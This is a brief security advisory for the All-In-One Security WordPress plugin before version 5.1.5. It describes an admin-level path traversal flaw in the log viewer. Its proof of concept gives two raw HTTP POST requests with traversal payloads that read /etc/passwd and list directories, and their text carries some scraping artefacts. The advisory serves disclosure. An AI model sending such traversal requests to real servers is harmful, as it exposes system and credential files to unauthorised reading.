All-In-One Security (AIOS) < 5.1.5 - Admin+ Arbitrary File/Folder Access via Traversal

The plugin does not limit what log files to display in it’s settings pages, allowing an authorized user (admin+) to view the contents of arbitrary files and list directories anywhere on the server (to which the web server has access). The plugin only displays the last 50 lines of the file.

PoC

POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab;=tab4 HTTP/2 Host: Cookie: Content-Length: 125 Content-Type: application/x-www-form-urlencoded _wpnonce=&aiowps;_system_log_file=…%2F…%2F…%2F…%2Fetc%2Fpasswd&aiowps;_search_error_files=View+latest+system+logs POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab;=tab4 HTTP/2 Host: Cookie: Content-Length: 98 Content-Type: application/x-www-form-urlencoded _wpnonce=&aiowps;_system_log_file=…%2F&aiowps;_search_error_files=View+latest+system+logs Replace values with <> signs.